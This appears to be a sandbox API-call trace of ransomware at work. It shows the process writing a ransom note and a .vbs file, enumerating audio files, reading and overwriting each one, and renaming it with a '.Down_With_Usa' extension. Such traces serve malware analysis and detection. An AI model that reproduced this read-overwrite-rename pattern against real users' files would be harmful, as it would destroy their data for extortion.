[0121.773] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", nBufferLength=0x105, lpBuffer=0x2eae50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", lpFilePart=0x0) returned 0x4c
[0121.773] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6f
[0121.774] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0121.774] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb000 | out: lpFindFileData=0x2eb000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0121.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb2b0) returned 1
[0121.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb270) returned 1
[0121.777] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x61
[0121.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb090) returned 1
[0121.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0121.777] GetFileType (hFile=0x3a8) returned 0x1
[0121.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb000) returned 1
[0121.778] GetFileType (hFile=0x3a8) returned 0x1
[0121.778] WriteFile (in: hFile=0x3a8, lpBuffer=0x27345d8*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2eb138, lpOverlapped=0x0 | out: lpBuffer=0x27345d8*, lpNumberOfBytesWritten=0x2eb138*=0x623, lpOverlapped=0x0) returned 1
[0121.779] CloseHandle (hObject=0x3a8) returned 1
[0121.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ead50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x61
[0121.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb230) returned 1
[0121.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0121.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb1a0) returned 1
[0121.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0121.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", lpFilePart=0x0) returned 0x48
[0121.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\", lpFilePart=0x0) returned 0x49
[0121.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632c7720, ftCreationTime.dwHighDateTime=0x1d5e7ab, ftLastAccessTime.dwLowDateTime=0x1f4fff70, ftLastAccessTime.dwHighDateTime=0x1d5db0a, ftLastWriteTime.dwLowDateTime=0x1f4fff70, ftLastWriteTime.dwHighDateTime=0x1d5db0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.791] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632c7720, ftCreationTime.dwHighDateTime=0x1d5e7ab, ftLastAccessTime.dwLowDateTime=0x1f4fff70, ftLastAccessTime.dwHighDateTime=0x1d5db0a, ftLastWriteTime.dwLowDateTime=0x1f4fff70, ftLastWriteTime.dwHighDateTime=0x1d5db0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.792] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aab00f0, ftCreationTime.dwHighDateTime=0x1d5e791, ftLastAccessTime.dwLowDateTime=0xaefd6990, ftLastAccessTime.dwHighDateTime=0x1d5e754, ftLastWriteTime.dwLowDateTime=0xaefd6990, ftLastWriteTime.dwHighDateTime=0x1d5e754, nFileSizeHigh=0x0, nFileSizeLow=0x175c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ev-dOzpGBiI9EbUD5.wav", cAlternateFileName="EV-DOZ~1.WAV")) returned 1
[0121.792] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6bc30, ftCreationTime.dwHighDateTime=0x1d5e2c6, ftLastAccessTime.dwLowDateTime=0x92bc7340, ftLastAccessTime.dwHighDateTime=0x1d5e0f9, ftLastWriteTime.dwLowDateTime=0x92bc7340, ftLastWriteTime.dwHighDateTime=0x1d5e0f9, nFileSizeHigh=0x0, nFileSizeLow=0x7e2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gqKShaT0Dq_YnTE7VgIT.wav", cAlternateFileName="GQKSHA~1.WAV")) returned 1
[0121.792] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d64880, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0x28a7fab0, ftLastAccessTime.dwHighDateTime=0x1d5d9ab, ftLastWriteTime.dwLowDateTime=0x28a7fab0, ftLastWriteTime.dwHighDateTime=0x1d5d9ab, nFileSizeHigh=0x0, nFileSizeLow=0x1460, dwReserved0=0x0, dwReserved1=0x0, cFileName="i6Pqe_oe_M3J2CXEk.mp3", cAlternateFileName="I6PQE_~1.MP3")) returned 1
[0121.792] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x790b6b70, ftCreationTime.dwHighDateTime=0x1d5d881, ftLastAccessTime.dwLowDateTime=0x1d285300, ftLastAccessTime.dwHighDateTime=0x1d5dd03, ftLastWriteTime.dwLowDateTime=0x1d285300, ftLastWriteTime.dwHighDateTime=0x1d5dd03, nFileSizeHigh=0x0, nFileSizeLow=0xe0a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnfIGF-GH43Vi.m4a", cAlternateFileName="PNFIGF~1.M4A")) returned 1
[0121.792] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdb19d0, ftCreationTime.dwHighDateTime=0x1d5e628, ftLastAccessTime.dwLowDateTime=0x3bea50d0, ftLastAccessTime.dwHighDateTime=0x1d5dcb9, ftLastWriteTime.dwLowDateTime=0x3bea50d0, ftLastWriteTime.dwHighDateTime=0x1d5dcb9, nFileSizeHigh=0x0, nFileSizeLow=0xa25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="uc61w07YHU9oAvbTq.wav", cAlternateFileName="UC61W0~1.WAV")) returned 1
[0121.793] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc96b20, ftCreationTime.dwHighDateTime=0x1d5e479, ftLastAccessTime.dwLowDateTime=0x368669f0, ftLastAccessTime.dwHighDateTime=0x1d5e338, ftLastWriteTime.dwLowDateTime=0x368669f0, ftLastWriteTime.dwHighDateTime=0x1d5e338, nFileSizeHigh=0x0, nFileSizeLow=0xbd49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WAwu4RpETkaPLYq.m4a", cAlternateFileName="WAWU4R~1.M4A")) returned 1
[0121.793] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0121.793] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0121.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0121.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0121.793] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz", lpFilePart=0x0) returned 0x48
[0121.793] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\", lpFilePart=0x0) returned 0x49
[0121.793] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632c7720, ftCreationTime.dwHighDateTime=0x1d5e7ab, ftLastAccessTime.dwLowDateTime=0x1f4fff70, ftLastAccessTime.dwHighDateTime=0x1d5db0a, ftLastWriteTime.dwLowDateTime=0x1f4fff70, ftLastWriteTime.dwHighDateTime=0x1d5db0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.794] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632c7720, ftCreationTime.dwHighDateTime=0x1d5e7ab, ftLastAccessTime.dwLowDateTime=0x1f4fff70, ftLastAccessTime.dwHighDateTime=0x1d5db0a, ftLastWriteTime.dwLowDateTime=0x1f4fff70, ftLastWriteTime.dwHighDateTime=0x1d5db0a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.794] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aab00f0, ftCreationTime.dwHighDateTime=0x1d5e791, ftLastAccessTime.dwLowDateTime=0xaefd6990, ftLastAccessTime.dwHighDateTime=0x1d5e754, ftLastWriteTime.dwLowDateTime=0xaefd6990, ftLastWriteTime.dwHighDateTime=0x1d5e754, nFileSizeHigh=0x0, nFileSizeLow=0x175c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ev-dOzpGBiI9EbUD5.wav", cAlternateFileName="EV-DOZ~1.WAV")) returned 1
[0121.794] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6bc30, ftCreationTime.dwHighDateTime=0x1d5e2c6, ftLastAccessTime.dwLowDateTime=0x92bc7340, ftLastAccessTime.dwHighDateTime=0x1d5e0f9, ftLastWriteTime.dwLowDateTime=0x92bc7340, ftLastWriteTime.dwHighDateTime=0x1d5e0f9, nFileSizeHigh=0x0, nFileSizeLow=0x7e2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gqKShaT0Dq_YnTE7VgIT.wav", cAlternateFileName="GQKSHA~1.WAV")) returned 1
[0121.794] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d64880, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0x28a7fab0, ftLastAccessTime.dwHighDateTime=0x1d5d9ab, ftLastWriteTime.dwLowDateTime=0x28a7fab0, ftLastWriteTime.dwHighDateTime=0x1d5d9ab, nFileSizeHigh=0x0, nFileSizeLow=0x1460, dwReserved0=0x0, dwReserved1=0x0, cFileName="i6Pqe_oe_M3J2CXEk.mp3", cAlternateFileName="I6PQE_~1.MP3")) returned 1
[0121.794] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x790b6b70, ftCreationTime.dwHighDateTime=0x1d5d881, ftLastAccessTime.dwLowDateTime=0x1d285300, ftLastAccessTime.dwHighDateTime=0x1d5dd03, ftLastWriteTime.dwLowDateTime=0x1d285300, ftLastWriteTime.dwHighDateTime=0x1d5dd03, nFileSizeHigh=0x0, nFileSizeLow=0xe0a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnfIGF-GH43Vi.m4a", cAlternateFileName="PNFIGF~1.M4A")) returned 1
[0121.795] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdb19d0, ftCreationTime.dwHighDateTime=0x1d5e628, ftLastAccessTime.dwLowDateTime=0x3bea50d0, ftLastAccessTime.dwHighDateTime=0x1d5dcb9, ftLastWriteTime.dwLowDateTime=0x3bea50d0, ftLastWriteTime.dwHighDateTime=0x1d5dcb9, nFileSizeHigh=0x0, nFileSizeLow=0xa25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="uc61w07YHU9oAvbTq.wav", cAlternateFileName="UC61W0~1.WAV")) returned 1
[0121.795] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc96b20, ftCreationTime.dwHighDateTime=0x1d5e479, ftLastAccessTime.dwLowDateTime=0x368669f0, ftLastAccessTime.dwHighDateTime=0x1d5e338, ftLastWriteTime.dwLowDateTime=0x368669f0, ftLastWriteTime.dwHighDateTime=0x1d5e338, nFileSizeHigh=0x0, nFileSizeLow=0xbd49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WAwu4RpETkaPLYq.m4a", cAlternateFileName="WAWU4R~1.M4A")) returned 1
[0121.795] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc96b20, ftCreationTime.dwHighDateTime=0x1d5e479, ftLastAccessTime.dwLowDateTime=0x368669f0, ftLastAccessTime.dwHighDateTime=0x1d5e338, ftLastWriteTime.dwLowDateTime=0x368669f0, ftLastWriteTime.dwHighDateTime=0x1d5e338, nFileSizeHigh=0x0, nFileSizeLow=0xbd49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WAwu4RpETkaPLYq.m4a", cAlternateFileName="WAWU4R~1.M4A")) returned 0
[0121.795] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0121.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0121.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav", lpFilePart=0x0) returned 0x5e
[0121.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\ev-dozpgbii9ebud5.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.796] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x175c7
[0121.797] ReadFile (in: hFile=0x3a8, lpBuffer=0x15444a40, nNumberOfBytesToRead=0x175c7, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x15444a40*, lpNumberOfBytesRead=0x2eadd8*=0x175c7, lpOverlapped=0x0) returned 1
[0121.845] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav", lpFilePart=0x0) returned 0x5e
[0121.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\ev-dozpgbii9ebud5.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0121.850] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav", lpFilePart=0x0) returned 0x5e
[0121.850] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav.Down_With_Usa", lpFilePart=0x0) returned 0x6c
[0121.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0121.850] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\ev-dozpgbii9ebud5.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aab00f0, ftCreationTime.dwHighDateTime=0x1d5e791, ftLastAccessTime.dwLowDateTime=0xaefd6990, ftLastAccessTime.dwHighDateTime=0x1d5e754, ftLastWriteTime.dwLowDateTime=0x2515f3e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x175d0)) returned 1
[0121.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0121.851] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\ev-dozpgbii9ebud5.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\Ev-dOzpGBiI9EbUD5.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\ev-dozpgbii9ebud5.wav.down_with_usa")) returned 1
[0121.851] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav", lpFilePart=0x0) returned 0x61
[0121.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\gqkshat0dq_ynte7vgit.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.852] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x7e2e
[0121.852] ReadFile (in: hFile=0x3a8, lpBuffer=0x2618068, nNumberOfBytesToRead=0x7e2e, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x2618068*, lpNumberOfBytesRead=0x2eadd8*=0x7e2e, lpOverlapped=0x0) returned 1
[0121.889] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav", lpFilePart=0x0) returned 0x61
[0121.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\Kn92Zvgz\\gqKShaT0Dq_YnTE7VgIT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\kn92zvgz\\gqkshat0dq_ynte7vgit.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
